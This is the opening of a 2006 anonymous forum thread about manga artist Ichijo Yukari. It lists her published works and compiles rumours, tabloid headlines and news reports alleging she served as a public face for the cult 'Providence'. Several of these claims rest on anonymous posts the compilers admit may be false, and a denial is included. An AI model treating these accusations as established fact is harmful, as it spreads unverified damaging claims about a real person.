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【プライド消滅】一条ゆかり29【自然の摂理】

1 :花と名無しさん:2006/08/02(水) 18:57:40 ID:???0
1966年高校1年で若木書房から単行本デビュー、1968年りぼん(集英社)から雑誌デビュー。
コーラス(公式 ttp://chorus.shueisha.co.jp/ 28日発売)看板作家となって早や12年、
絵はヘタレたアレたと言われても華があり、女王の底力で怒濤の展開を交えつつ、
連載4年目の「プライド」は最終回か打ち切りか!? カルト教団「摂理」広告塔疑惑の波紋はどこへ!?
他の作品も含めて、一条ゆかり御大ワールドをマターリと語り合いましょう。

前スレはこちら↓ 過去スレは>>2-5あたり 単行本作品リスト>>6-13あたり

【新展開か】プライド一条ゆかり28【終了か】
  http://comic6.2ch.net/test/read.cgi/gcomic/1152097090/ 06/07/05ー06/08/02

 摂理関連まとめ>>14-25あたり

 摂理の広告塔について語るスレ
  http://comic6.2ch.net/test/read.cgi/gcomic/1154192041/

2 :過去スレ:2006/08/02(水) 18:58:33 ID:???0

一条ゆかりさんが新興宗教の教祖になった
 http://piza.2ch.net/log2/gcomic/kako/960/960051195.html 00/06/04ー06/17 (23res)
一条ゆかり[5愛のルール」
 http://piza.2ch.net/gcomic/kako/967/967797398.html 00/09/01ー09/15 (25res)
一条ゆかり 作品について
 http://makimo.to/2ch/salad_gcomic/977/977672362.html 00/12/25ー07/29 (241res)
一条ゆかり、大嫌い!
 http://choco.2ch.net/gcomic/kako/1000/10002/1000207897.html 01/09/11ー10/04 (187res)
「天使のツラノカワ」について
 http://comic.2ch.net/gcomic/kako/1009/10093/1009346841.html 01/12/26ー02/07 (171res)
【懐かし漫画板】 《一条ゆかり》の懐かし漫画
 http://comic.2ch.net/rcomic/kako/1018/10187/1018715462.html 02/04/14ー08/21 (110res)
☆★☆有閑倶楽部☆★☆              
 http://mentai.2ch.net/gcomic/kako/961/961743518.html 00/06/23ー00/07/02 (85res)
★★★有閑倶楽部って、まだ続いてるの?★★★   
 http://piza.2ch.net/gcomic/kako/965/965906710.html 00/08/10 ー 00/11/26 (576res)
有閑倶楽部って・・・              
 http://salad.2ch.net/gcomic/kako/976/976652661.html 00/12/13ー01/04/06
有閑倶楽部って・・・その2             
 http://salad.2ch.net/gcomic/kako/986/986525910.html 01/04/06ー01/07/21

3 :[ここ壊れてます](1):[ここ壊れてます]
[ここ壊れてます]
4 :過去スレ:2006/08/02(水) 18:59:56 ID:???0
一条ゆかり13?プライド?
 http://comic.2ch.net/test/read.cgi/gcomic/1070798711/ 03/12/07ー04/03/15
【銀座】一条ゆかり14?プライド?【ディーヴァ】
 http://comic4.2ch.net/test/read.cgi/gcomic/1079268614/ 04/03/14ー04/05/31
【結婚】一条ゆかり15?プライド?【留学】
 http://comic6.2ch.net/test/read.cgi/gcomic/1085928248/ 04/05/30ー04/08/31
【迷走】一条ゆかり16?プライド?【引退間近】
 http://comic6.2ch.net/test/read.cgi/gcomic/1093881937/ 04/08/31ー04/12/12
【ぷっ】一条ゆかり17【ライド】
 http://comic6.2ch.net/test/read.cgi/gcomic/1102859997/ 04/12/12ーガラかめ暦29/04/02
【アシ絵は】一条ゆかり18【お腹いっぱい】
 http://comic6.2ch.net/test/read.cgi/gcomic/1112237705/  05/03/31ー05/06/15
【プライド】一条ゆかり19【捨てました】
 http://comic6.2ch.net/test/read.cgi/gcomic/1115132998/ 05/05/04ー05/06/15
【イタリアン】一条ゆかり20【コンニャク】
 http://comic6.2ch.net/test/read.cgi/gcomic/1118808118/ 05/06/15ー05/07/30
【ハードゲイ】プライド・一条ゆかり21【フォー!!】
 http://comic6.2ch.net/test/read.cgi/gcomic/1122626857/ 05/07/29ー05/09/13
【欧州編】プライド・一条ゆかり22【ゲイ術の都】
 http://comic6.2ch.net/test/read.cgi/gcomic/1126539941/   05/09/13ー05/10/17


5 :過去スレ その他:2006/08/02(水) 19:03:51 ID:???0
プライド】一条ゆかり23【飽きた】
 http://comic6.2ch.net/test/read.cgi/gcomic/1129430416/  05/10/16ー05/12/02
【プライド】一条ゆかり24【予想通り】
 http://comic6.2ch.net/test/read.cgi/gcomic/1133497785/ 05/12/02ー06/01/15
【要】プライド・一条ゆかり25【下調べ】
 http://comic6.2ch.net/test/read.cgi/gcomic/1137301625/ 06/01/15ー06/02/16
【ズボンの騎士】プライド一条ゆかり26【裸の女王】
  http://comic6.2ch.net/test/read.cgi/gcomic/1140079483/ 06/02/16ー06/04/16
【ソロモンと】プライド一条ゆかり27【別冊の女王】
  http://comic6.2ch.net/test/read.cgi/gcomic/1145160474/ 06/04/16ー06/07/05

●ドラマ関連の過去スレはこちら↓
【美百合】砂の城...東海テレビ1997年【比羅夫】
 http://bubble4.2ch.net/test/read.cgi/natsudora/1123224229/ 05/08/05ー06/02/25
【愛の劇場】正しい恋愛のススメPart2
 http://ex13.2ch.net/test/read.cgi/tvd/1127281115/ 05/09/21ー05/10/22
【ドラマ30】デザイナー【一条ゆかり】7着目
 http://ex13.2ch.net/test/read.cgi/tvd/1134716194/ 05/12/16ー 06/03/14

●その他
  【早売りゲッター】総合スレ・十二冊目【ネタバレ】(実質十三)
  http://comic6.2ch.net/test/read.cgi/gcomic/1154047785/ 06/07/28ー
  ◆◇コーラス その24◆◇
   http://comic6.2ch.net/test/read.cgi/gcomic/1154150254/ 06/07/29ー
◇◆◇◆有閑倶楽部を妄想で語ろう26◇◆◇◆
http://aa5.2ch.net/test/read.cgi/nanmin/1144930553/ 06/04/13ー

●過去スレ検索用 ttp://makimo.to/ Google ttp://www.google.co.jp/advanced_search?hl=ja

6 :コミックス:2006/08/02(水) 19:04:49 ID:???0
 初版      コミックス
1970年 ■ 恋の1・2作戦 (1970)
          同時収録:クロディーヌ・愛を!!(1970)/ 雪のセレナーデ(1968)
1970年 ■ 恋はお手やわらかに (1970)

1971年 ■ 風の中のクレオ【前編】【後編】 (1970ー1971)
          【前編】同時収録:二十日間の恋(1970)/ 風の詩(1970)
          【後編】同時収録:100個めの風船(1970)/夏の終りに(1970)
1972年 ■ はだしのマドモアゼル (1971)
          同時収録:ヘイ!メリアン(1969)/スラックスお嬢さん (1969)
1972年 ■ さらばジャニス (1971)
          同時収録:あいつの夏(1971)
1973年 ■ 恋するお年頃 (1971)
          同時収録:恋はおまかせ(1970)/プラトニックぶるーす第一番(1971)
1973年 ■ 一条ゆかり長編集【1】
          春は弥生(1972)/おとうと(1972)
1973年 ■ 一条ゆかり長編集【2】
          雨のにおいがする街(1972)/摩耶の葬列(1972)
1973年 ■ 一条ゆかり長編集【3】
          クリスティーナの青い空(1972)/9月のポピィ(1972)
1974年 ■ わらってクィーンベル【前編】【後編】 (1973)
         【前編】同時収録:プレイボーイをやっつけろ(1970)
         【後編】同時収録:ラブゲーム(1973)
1974年 ■ 雨あがり (1971)
          同時収録:女性志願 (1973)/セント・マリーの牧師さま(1972)
1975年 ■ ハートに火をつけて (1973)
          同時収録:シェルフィールドの冬(1971)/アミ…男ともだち(1973)
1975年ー■ こいきな奴ら【1】【2】 (1974ー1977)
          ジュディス・ジュデェス(1974)/ エスパー狩り(1975)
          危険がいっぱい(1976)/ ドーミエ3世の遺産(1977)

7 :コミックス:2006/08/02(水) 19:06:10 ID:???0
1976年 ■ ジェミニ(1975)
          同時収録:ふたりだけの星 (1970)/かもめの城 (1969)
               /マドモアゼル由美(1969)
1976年 ■ ママン・レーヌに首ったけ (1975)
          同時収録:ラブラブ・ハイスクール(1969)/ミス・キューピット(1969)
1976年 ■ デザイナー【前編】【後編】(1974)

1977年 ■ ティー・タイム【前編】【後編】 (1976)
          【前編】同時収録:彼… (1971)/ジルにご用心(1970)
          【後編】同時収録:花嫁はいかが!?(1969)/夜のフェアリー(1969)
1979年ー■ 砂の城【1】ー【7】 (第1部1977ー1979、第2部1980ー1981)
          【7】同時収録:くうちゅう・しばい(1980)
1980年 ■ 星降る夜に聞かせてよ (1977)
          同時収録:ハスキーボイスでささやいて(1979)
1981年 ■ ときめきのシルバー・スター【前編】【後編】 (1979ー1980)
          【後編】同時収録:果樹園(1980)
1982年ー■ 有閑倶楽部【1】ー【19】 (1981ー1998)
          【2】同時収録:失せしわが愛 (1972)
          【5】同時収録:恋唄姫 (1984)
          【12】同時収録:淋しい大人たち(1989)
          【14】同時収録:だからぼくはため息をつく(1993)
          【15】同時収録:愛でなんか死ねない(1994)
1983年 ■ すくらんぶる★えっぐ (1982)
          同時収録:空のむこう(1982)
1985年 ■ それすらも日々の果て (1983)

1986年 ■ シンデレラの階段 (1985)
          同時収録:今宵あなたと踊りたい(1984)/ 私が愛した天使(1984)
1987年 ■ こいきな奴ら PART.2 (1986)
          パラノイア・パーティ(1986)/ デッド・ゾーン(1986)

8 :コミックス:2006/08/02(水) 19:07:08 ID:???0
1988年 ■ 夢のあとさき (1987)
          同時収録:混線レースは2対2(1972)
1988年 ■ 日曜日は一緒に (1987)
          同時収録:先生はお年ごろ(1968)/ 兄貴の初恋(1969)
1989年 ■ おいしい男の作り方【1】【2】 (1988ー1989)
          【1】同時収録:ゆかりのエッセイ集おいしい生活のすすめ
1991年ー■ 女ともだち【1】ー【3】 (1990ー1991)
          【1】同時収録:氷雨 (1972)
1990年 ■ ロマンチックください (1988)
          同時収録:ロマンチックあ・げ・る(1989)
1990年 ■ 一条さんちのお献立て (1988ー1990) (エッセイ漫画集)
          同時収録:ちょっとベニスでティ・タイム(1989)
          / バンコクの長くて熱い夜(1990) その他にエッセイ、対談等
1993年 ■ 猫でもできる海外旅行 (1992) (エッセイ漫画集)
          同時収録:東方見分録(1990)/ 日本に一番ちかい島(1991)
          / 我々の深き野望(1991)/ 犬でもできる語学留学(1992ー1993) 
          / 外人はあなどれない(1993)


9 :コミックス:2006/08/02(水) 19:08:37 ID:???0
1994年 ■ うそつきな唇 (1993)
          同時収録:犬を飼いましょう(1993)
1995年 ■ 恋のめまい 愛の傷【1】【2】 (1994ー1995)
          【1】同時収録:マダムゆかりのダマールな日々(1994)(エッセイ漫画)
          【2】同時収録:今年の夏は寒かった!!(1994)(エッセイ漫画)
1996年ー■ 正しい恋愛のススメ【1】ー【5】 (1995ー1998)
          【3】同時収録:メイキング・オブ「正しい恋愛のススメ」
          【5】同時収録:隣の幸福(1995)
2000年ー■ 天使のツラノカワ【1】ー【5】 (1999ー2002)
          【3】同時収録:メイキング・オブ「天使のツラノカワ」(2000)
2003年ー■ プライド【1】ー【5】(2003ー )(以下続刊予定)
          【1】同時収録:あいじんなんにんできるかな♪(1997)(エッセイ漫画)


10 :文庫:2006/08/02(水) 19:09:22 ID:???0
 初版       文庫
1996 ■ 砂の城【1】ー【4】 (第1部1977ー1979、第2部1980ー1981)
        解説:【1】中島みゆき【4】一条ゆかり ★
1996 ■ こいきな奴ら【1】【2】 (第1部1974ー1977、 第2部1986)
        解説:【1】新谷かおる【2】 一条ゆかり★
1996 ■ デザイナー (1974) 
        解説:新谷かおる
1996 ■ ときめきのシルバースター (1979ー1980) 
        解説★一条ゆかり
1997 ■ 風の中のクレオ  (1970ー1971)
        同時収録:雨あがり(1971)
        解説:山下和美     
1997 ■ わらってクィーンベル (1973)
        同時収録:氷雨(1972)/女性志願 (1973) 
        解説★一条ゆかり
1998 ■ ティー・タイム (1976)
        同時収録:ハートに火をつけて(1973)
        解説:松苗あけみ      
1998 ■ 星降る夜にきかせてよ (1977)
        同時収録:ハスキーボイスでささやいて(1979)/シルフィールドの冬(1971)
              / ママンレーヌに首ったけ(1975) / アミ…男ともだち(1973)
        解説★一条ゆかり
1998 ■ すくらんぶる★えっぐ (1982)
         同時収録:ジェミニ(1975)/ ラブ・ゲーム(1973)
        解説:姫野カオルコ
1998 ■ それすらも日々の果て (1983)
        同時収録:夢のあとさき(1987)
        解説★一条ゆかり
1999 ■ ロマンチックください (1988)
         同時収録:ロマンチックあ・げ・る(1989)/ 空のむこう(1982) / 恋唄姫 (1984) 

11 :文庫:2006/08/02(水) 19:10:07 ID:???0
1999 ■ 日曜日は一緒に (1987)
        同時収録:シンデレラの階段(1985)/ 今宵あなたと踊りたい(1984)
              / 私が愛した天使 (1984)
        解説★一条ゆかり
1999 ■ 女ともだち【1】【2】 (1990ー1991)
         【2】同時収録:淋しい大人たち(1989)
        解説:【1】竹内義和【2】一条ゆかり★
2000ー■ 有閑倶楽部【1】?【10】 (1981ー1998)………コミックス18巻までを収録
        解説:【1】大江千里【2】弘兼憲史【3】北方謙三【4】弓月光【5】俵万智
        解説:【6】?【7】恩田陸【8】aiko【9】あだち充【10】一条ゆかり★
2003 ■ おいしい男の作り方 (1988ー1989)
        解説:北野誠
2003 ■ 5愛のルール  (連載:1975 未完)…コミックス未収録
        同時収録:くうしゅう・しばい(1980)
        解説★一条ゆかり
2004 ■ うそつきな唇  (1993)
        同時収録:だからぼくはため息をつく(1993)/ 犬を飼いましょう(1993)
               / 愛でなんか死ねない(1994)/ 隣の幸福(1995)
        解説:野口美佳
2004 ■ 恋のめまい愛の傷 (1994ー1995)
        解説★一条ゆかり
2005 ■ 正しい恋愛のススメ【1】【2】【3】 (1995ー1998)
        解説:【1】桜沢エリカ【2】室井佑月【3】一条ゆかり★
2005 ■ 摩耶の葬列(1972)
         同時収録:おとうと(1972)/ クリスティーナの青い空(1972)
        ★ 一条ゆかりインタビュー収録
2006 ■ 天使のツラノカワ【1】【2】【3】 (1999ー2002)
        解説:【1】石田衣良【2】山本浩未【3】一条ゆかり★

12 :主なエッセイ集など:2006/08/02(水) 19:10:56 ID:???0
    主なエッセイ集など

 初版 
1998年 ■ おしゃべりな唇 (集英社)
        掲載誌:オルビス(株)発行"La" 1997.1月号ー 12月号
2001年 ■ 一条ゆかり主義 (白泉社 JETS COMICS)
         掲載誌:"メロディ" 1999.8月号ー2001.7月号
            :"メロディ" 2001.2月号、"PUTAO" 1998.3月号
2002年 ■有閑倶楽部虎の巻 (集英社)
2002年 ■ 一条ゆかりの食生活 (集英社)
         ダイエット教訓カレンダー付き
2003年 ■ 恋愛少女漫画家 (集英社be文庫)
         巻末にデビュー以降の雑誌作品掲載リスト
2003年 ■ 実践 恋愛倶楽部 (集英社)
         掲載誌:"MORE" 2001.1月号ー2002.12月号
         巻末にカトリーヌあや子のパロディ漫画

13 :[ここ壊れてます](1):[ここ壊れてます]
[ここ壊れてます]
14 :[ここ壊れてます](1):[ここ壊れてます]
[ここ壊れてます]
15 :あぼーん:あぼーん
あぼーん

16 :あぼーん:あぼーん
あぼーん

17 :広告塔関連の まとめ 5:2006/08/02(水) 19:19:50 ID:???0
■2002年

・モーニング、スターはどうしているの?part2

  890 名前: ジャイアン3 02/11/18 23:39
   一条ゆかりさんの『天使のツラノカワ』を読み進むにつれて、
  彼女の聖書理解、とりわけアダムとエバの堕罪の解釈が、
  統一原理の『原理講論』や摂理の『三十講論』にある「堕落論」に
  酷似していることが見えてきました。
   普通のキリスト教ならこうは解釈しないと思われる箇所がけっこう目につきます。
  ポストの記事は彼女への取材はなかったようですが、
  「一条ゆかりの聖書解釈の特徴」とでも題して、一文書いてみたいと思っています。
     ttp://makimo.to/2ch/life_psy/1017/1017667714.html

・週刊ポスト 2002年11月1日号
 「女子大生が告発!韓国【セックス教団】が日本上陸」
・週刊ポスト 2002年11月8日号
 「SEX教団【神の性儀】を元女子大生信者が告発」
・週刊ポスト2002年11月15日号
 「SEX教団は合同結婚式までやっていた」
・週刊ポスト2002年11月22日号
 「私はSEX教団の広告塔だった」
・週刊ポスト2002年11月29日号
 「富士通を襲った【SEX教団】大醜聞」
 (摂理脱退者の弁護士団の一人、川島氏が、教団のイベント潜入取材に関わった記録)
   摂理に関する資料 ttp://religion.web.infoseek.co.jp/ms/ms_doc.htm


18 :広告塔関連の まとめ 6:2006/08/02(水) 19:21:25 ID:???0
■2002年

・モーニング、スターはどうしているの?part2

  843 名前: ジャイアン3 投稿日: 02/11/12 11:02
    昨日発売の『週間ポスト』に第4弾の記事が載りました。
  ページ数は半減ですが、11月2日に行なわれた芸術祭についてのレポートで
  これまでとは異なる視点からの取材でした。
  司会を務めた「東日本の有力民放出身のアナウンサー」は、何も知らずに
  広告塔の役目をしてしまっていたとのこと。
  記事の末尾に「著名な漫画家」への言及もあり、今後の取材が期待できそうな  ……※
  内容でもあります。

  844 名前: 品行方正な若者 投稿日: 02/11/12 17:51
  川島氏はポストの取材に一体何を期待してるんだろう。。。?
  あの司会者ってアナウンサーだったんだね。知らなかった。
  「著名な漫画家」は(メンバーより)霊感が強くて話を聞いてて楽しいですよ。 ……※
      ttp://makimo.to/2ch/life_psy/1017/1017667714.html

   ※4年前から「著名な漫画家」一条ゆかりが「広告塔」だったことが推察できる。


■2003年1月31日

摂理側のメンバーまたは支持者のブログ。「天ツラ」が摂理の理念に一致するというコメント
ttp://72.14.235.104/search?q=cache:x22wuQo1lIsJ:gaian3.livedoor.biz/archives/2003-01.html+%E5%A4%A9%E4%BD%BF%E3%81%AE%E3%83%84%E3%83%A9%E3%83%8E%E3%82%AB%E3%83%AF%E3%80%80%EF%BC%AD%EF%BC%B3%E6%95%99&hl=ja&gl=jp&ct=clnk&cd=1

■2003年上旬

・教祖の鄭明析(チョン・ミョンソク)が逮捕の後、保釈中に逃亡。


19 :広告塔関連の まとめ 7:2006/08/02(水) 19:21:54 ID:???0
■2003年7月5日

・ひそかに来ますた摂理人

  869 名前: 宗教を考える名無しさん [2003/07/05(土) 11:49]
   あと、尊敬する人の話で、
   川(   `∀´  )川 <有名人でも一条ゆ○りは、W聞いてるから尊敬してもいいかな。  ……※
   って言ってたな。
    ttp://www.geocities.jp/jms_log/1037522279.html

■2003年9月12日

・ ひそかに来ますた摂理人 【2人目】

  255 名前:宗教を考える名無しさん [2003/09/12(金) 09:53]
    先生の本、並びに成約聖書は、同人誌として発行されまつ。
   表紙と巻頭には、一条ゆ○りさんの少女漫画が載りまつ。
   信者の皆さんは強制購入でつ。
   千葉ではもれなく、Mさん写真集"NUNA"が付録(料金別)でついてきまつ。  ……※
   ttp://72.14.235.104/search?q=cache:UalRK8wzhYQJ:www.soutokuhu.com/bbs/test/read.cgi?bbs=psy&key=1058238770


  ※ 川(   `∀´  )川 ……千葉の合宿所などに滞在していた摂理日本側責任者の女性Mさん
    W……定期的に発信される教祖様の御言葉。
    NUNA……韓国語でお姉さん。家族的な意味合いの姉よりも、年上の女の人としてのお姉さん。

    書き込み自体はガセネタを含む可能性もあるが、名前が挙がっている漫画家が一条ゆかりの他にいないのが痛い。

20 :広告塔関連の まとめ 8:2006/08/02(水) 19:22:25 ID:???0
■2006年5月

・「天使のツラノカワ」文庫第1巻第2巻発売(全3巻)

・週刊文春2006年6月1日号
「韓流SEX教団『摂理』の恐るべき『聖の儀式』」

■2006年6月

・「天使のツラノカワ」文庫第3巻発売(全3巻)
  第3巻の一条ゆかりによる解説には、このような記述がある。
   「で、どっかの宗教団体からツッコミがきたらどうしようかと思いつつ、描き始めたんですね。「天ツラ」を。
    そして……やはり来ました突っ込みが。
    でもそこは優しいクリスチャン。やんわりと指摘され、おまけに「もし解らなければどうぞ私達の教会においで下さい。
    幾らでも教えて差し上げます」と書いてた。ほっ……。
    あと、勧誘の手紙とかお説教を録音したテープとかも来ました。おっと、勧誘だと言うと怒られる。伝導です。
    流石だわ、クリスチャン。世界中何処に行っても日本人と宣教師は居ると言うだけあって、熱心です。
    伝導、頑張って下さい。」

■2006年7月28日(金)
朝日新聞朝刊に、摂理についてのニュース記事が載る。

・韓国カルト、日本で2千人 若者勧誘、教祖が性的暴行(朝日新聞・朝刊) 
  鄭教祖の暴行を受けた一人は「乱暴されているときは何が起きたのか、理解できず、頭の中が混乱し、
   教祖にされるがままだった」と打ち明けた。
 「摂理」は日本では、15年以上の活動歴があり、
  別の脱会女性は「被害に遭った日本人女性はゆうに100人を超える」と話している。
  朝日新聞は、集団の日本側責任者とみられる女性に取材を申し込んだが、27日までに回答はない。
   asahi.com (2006/07/28/08:29)ttp://www.asahi.com/national/update/0727/OSK200607270231.html



21 :広告塔関連の まとめ 9:2006/08/02(水) 19:26:40 ID:???0
■2006年7月28日(金)
コーラス9月号発売日 ttp://chorus.shueisha.co.jp/

■2006年7月29日(土)
元摂理メンバーの弁護士団による記者会見。

・夕刻〜夜、TV各局のニュース番組で、摂理の話題が取り上げられる。
 動画 ttp://www.youtube.com/results?search=%E6%91%82%E7%90%86&search_type=search_videos&search=Search

弁護士団から、摂理には有名な少女漫画家/著名な女性漫画家が関わっていたことも公表される。

・日本人女性被害者の代理人弁護士が、性的暴行を告訴する予定であること等を、明らかにした。
 弁護士達によると、著名な女性漫画家や元Jリーガーもおり、
 勧誘に利用されるスポーツ・芸能イベントで"広告塔"の役割を果たしているという。
  Sankei Web (2006/07/29 21:12) ttp://www.sankei.co.jp/news/060729/sha084.htm

・Wikipedia 一条ゆかり に 摂理との関係が記述される。
 17:10 追加記述「2006年7月末。韓国の新興宗教「摂理」の広告塔として世間の注目を集めた。」
ttp://ja.wikipedia.org/w/index.php?title=%E4%B8%80%E6%9D%A1%E3%82%86%E3%81%8B%E3%82%8A&action=history


22 :広告塔関連の まとめ 10:2006/08/02(水) 19:27:10 ID:???0
■2006年7月29日(土)

・2chのニュー速報板に出来たスレで、心と宗教板の過去スレから一条ゆかりの名前を発見した旨の書き込みが登場

  韓国カルト教団「摂理」が広告塔として元Jリーガーや有名少女漫画家を利用
   18 :番組の途中ですが名無しです :2006/07/30(日) 01:04:26 ID:AkfeAJOT0
  発見した
   > 255 名前:宗教を考える名無しさん [2003/09/12(金) 09:53]
   > 先生の本、並びに成約聖書は、同人誌として発行されまつ。
   > 表紙と巻頭には、一条ゆ○りさんの少女漫画が載りまつ。
   > 信者の皆さんは強制購入でつ。
   > 千葉ではもれなく、Mさん写真集"NUNA"が付録(料金別)でついてきまつ。
      http://news20.2ch.net/test/read.cgi/news/1154187818/

・JMS、MS、摂理 パート10  (心と宗教板) 活発化
   http://life7.2ch.net/test/read.cgi/psy/1153493238/


■2006年7月30日(日)

・早朝、摂理の広告塔について語るスレ  (2ch 少女漫画板) 登場   
  http://comic6.2ch.net/test/read.cgi/gcomic/1154192041/

・夕刻、「バンキシャ」(日本テレビ)で、摂理の特集。

  元メンバーが、勧誘イベントに有名な漫画家がいたことで信用した旨を証言。


23 :広告塔関連の まとめ 11:2006/08/02(水) 19:27:41 ID:???0
■2006年7月31日 (月)

・一条ゆかりファンサイトの掲示板に、摂理関連の書き込みがふえる。

  一条ゆかりと摂理について 投稿者:摂理元信者 投稿日:2006/07/31(Mon) 15:10 No.55
   摂理は宗教性を隠してあの手この手で人を誘います。
   一条さんも一時期誘われたことがあり、池尻大橋の公民館などで何度かお会いしました。
   けれど、一条さんは摂理の思想にハマるどころか、逆に霊や天使についての自分の考えを摂理の人に語ってて、
   摂理のメンバーは正直手をやいてました^^;
   そんなんですので、当然、一条さんがレイプ教祖に加担したり、自らが広告塔になったなどということは、
   全くありませんでした。

  Re: 一条ゆかりと摂理につ... スイカ - 2006/07/31(Mon) 20:29 No.62
   2ちゃんなどでも相当騒がれているようですし、本人の正式なコメントが欲しいですね。
   過去に摂理関係の仕事を引き受けたのなら正直に答えるべきですし、
   騙されて仕事を引き受けたとしても一般人とは社会的地位も影響力も格段に違うのですから
   女子大生と同じように『騙された』が免罪符にはなりません。
   社会的地位のある者こそ、率先して過去の過ちを認め教団に対して正式な抗議活動をすべきです。
   そういった行動すら取らないのであれば、彼女の宗教観は他者が犠牲になっても自分さえ
   助かれば良いと言う極めて自己中心的なものと捉えられるでしょう。
         ttp://yotsuba.saiin.net/~eiko/yukari/yybbs/yybbs.cgi

24 :あぼーん:あぼーん
あぼーん

25 :広告塔関連の まとめ 13:2006/08/02(水) 19:33:18 ID:???0
■2006年7月31日 (月)

・日刊ゲンダイ(夕刊紙)が、匿名による漫画編集者などの意見を掲載。
   鄭はすでに韓国で国際手配されていて、日本でも近く準強姦容疑で刑事告訴されると
いうが、ネット上のフリー百科事典「ウィキペディア」で、「『摂理』の広告塔として世間の
注目を集めた」と、少女漫画家が名指しされたから、大変だ。
 この少女漫画家は30年以上のキャリアを持ち、原作がテレビドラマ化されるなど、少女
漫画界では5本の指に入る大物。カルト教団の広告塔となれば、シャレにならない。
「どうやら00年頃に、摂理がセックス教団とは知らずにかかわってしまったようです。
摂理側がどうやって彼女に接近したのかは分かりませんが、機関紙に作品が使われる
などして、若い女性の勧誘に悪用されたらしい。確かに当時描いていた漫画は宗教色が
濃かった。摂理に影響されたんじゃないかともっぱらでした」(漫画誌編集者)。
  元Jリーガーは「韓国人で今も熱心な信者」という話だ。
「摂理はこれまでにも地方局の女子アナや、信者のモデルを広告塔として利用し、東大、
京大、早大、慶大、上智大など有名大学の学生を中心に若者を勧誘してきました。ただ 、
女子アナの場合もそうですが、本人がカルト教団とは気づかずにイベントの司会を務め
るなど、知らないうちに広告塔に仕立て上げられてしまうケースもある。この漫画家も、
そうだった可能性があります」(事情通)。
 熱心なファンはネット上の掲示板で「ウソでしょ?」「幻滅だ」なんてカンカンガクガクやって
いる。当の少女漫画家は今のところ、何も語っていない。
       ttp://gendai.net/?m=view&c=010&no=18112 全テキストは携帯版から

・Wikipedia 一条ゆかり に 保護措置(事実の確認がとれない記述がエスカレートしたため、編集不可能項目となる)。
 17:08 摂理との関係を記述した部分がすべて削除され、従来の状態に戻っている。
  ttp://ja.wikipedia.org/w/index.php?title=%E4%B8%80%E6%9D%A1%E3%82%86%E3%81%8B%E3%82%8A&action=history

26 :広告塔関連の まとめ 14:2006/08/02(水) 19:37:13 ID:???0
■2006年8月1日 (火)

・JMS、MS、摂理 パート10  (心と宗教板) にて、摂理日本向け掲示板復活が伝えられる。
   http://life7.2ch.net/test/read.cgi/psy/1153493238/

   402 名前:名無しさん@3周年 メェル:sage 投稿日:2006/08/01(火) 14:17:09 ID:olHkzIp4
      新掲示板
        ttp://antijms.net/ezboard/ezboard.cgi?db=japan
      7月30日の礼拝で信者が離れないように脅したようです
       ttp://antijms.net/ezboard/ezboard.cgi?db=japan&action=read&dbf=7&page=0&depth=1

■2006年8月1日 (火)  

・「ズームインSUPER」(日本テレビ)が吉祥寺の一条ゆかり自宅を訪問。ドアチャイムを押しても応答無し。
  近所の住人によると2〜3日前から姿を見ないそうで、数日前からの不在が判明。

=================================
キーワード 摂理(過去スレ)
http://makimo.to/cgi-bin/search/search.cgi?q=%90%DB%97%9D&andor=AND&sf=2&H=&view=table&all=on&shw=
キーワード 摂理(現行スレ)
http://ttsearch.net/s2.cgi?k=%90%DB%97%9D&o=r
=================================

前スレ 929 名前:花と名無しさん メェル:sage 投稿日:2006/08/02(水) 17:25:12 ID:???0
明日発売の週刊誌「週刊新潮」8月10日号より
⇒発覚スクープ:韓国「ワイセツ教団」の広告塔――
「少女漫画の女王」一条ゆかりは「現役信者」!
ttp://book.shinchosha.co.jp/shukanshincho/index.html


27 :花と名無しさん:2006/08/02(水) 19:38:33 ID:???0
摂理じゃないけど
一条ゆかりって、心霊治療を勧める漫画も描いてた。
ttp://www.wolfguy.com/cgi-bin/diary/upboard.cgi?action=next&next=156

↑が載ってたサイトが↓これ。
ttp://www.wolfguy.com/


この漫画家の「平井和正」も一条と仲良し


28 :広告塔関連の まとめ 15:2006/08/02(水) 19:40:27 ID:???0
前スレ761 名前:花と名無しさん メェル:sage 投稿日:2006/08/01(火) 03:45:58 ID:???0
  8/1(火曜)発売の週刊誌
FLASH ttp://www.kobunsha.com/CGI/magazine/hyoji.cgi?sw=index&id=007
週刊朝日  ttp://opendoors.asahi.com/data/detail/7526.shtml
SPA!
サンデー毎日
週刊女性
女性自身
サッカーダイジェスト

 8/3(木曜)発売の週刊誌
週刊文春(今年6月に摂理の特集連載を組んでいた)
週刊新潮
女性セブン

 8/4(金曜)発売の週刊誌
FRIDAY

 8/7(月曜)発売の週刊誌
週刊ポスト(2002年に摂理の特集連載を組んでいた)
週刊現代
AERA
Yomiuri Weekly


FLASH  週刊朝日 は、レイプ被害者の談話が中心で、広告塔の漫画家の記述は無し。
週刊朝日は、次号も掲載予定。

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーー

では、前スレの続きをドゾー ↓

29 :花と名無しさん:2006/08/02(水) 19:42:11 ID:???0
まとめ乙!!!!!

30 :どことどこが闘ってるんだろう?:2006/08/02(水) 19:43:23 ID:Z3ERUCcW0
 
キーワード

 
韓国のカルト 朝鮮のカルト 中国のカルト ロシアのカルト
 
シオニストvsユダヤ・他旧約聖書系 軍産界vs経済界 電通vs邦画・アニメ
 
半島vs大陸

31 :広告塔関連の まとめ 16:2006/08/02(水) 19:45:25 ID:???0
前スレ 965 名前:花と名無しさん メェル:sage 投稿日:2006/08/02(水) 18:53:10 ID:???0
ttp://book.shinchosha.co.jp/shukanshincho/20060810/images/nakaduri_0810_big.gif

とうとう週刊新潮の吊り革広告に顔写真つきで(・A・;)


32 :花と名無しさん:2006/08/02(水) 19:47:09 ID:???0
あらら、いつのまに・・・。
いいタイトルじゃないですか。

まさか一条ゆかりがこんな風に終わるとは思わなかった
てっきり三角関係のもつれで刺されて連載終わらないままあぼ〜んとかならありそうだったのに

33 :花と名無しさん:2006/08/02(水) 19:50:21 ID:???0
前スレ900のちょっと前辺りから、話し合いをしておいたのだ

34 :花と名無しさん:2006/08/02(水) 19:51:59 ID:???0
しかし、週刊新潮もいいタイミングで素晴らしい燃料を投下してくれたもんだ

35 :花と名無しさん:2006/08/02(水) 19:57:01 ID:???0
前スレより

ーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーーー
964 名前:花と名無しさん メェル:sage 投稿日:2006/08/02(水) 18:49:36 ID:???0
955
あー別冊コーラス捨てなきゃよかった・・・

981 名前:花と名無しさん メェル:chorus sage 投稿日:2006/08/02(水) 19:22:28 ID:???0
>964
これで我慢しれ
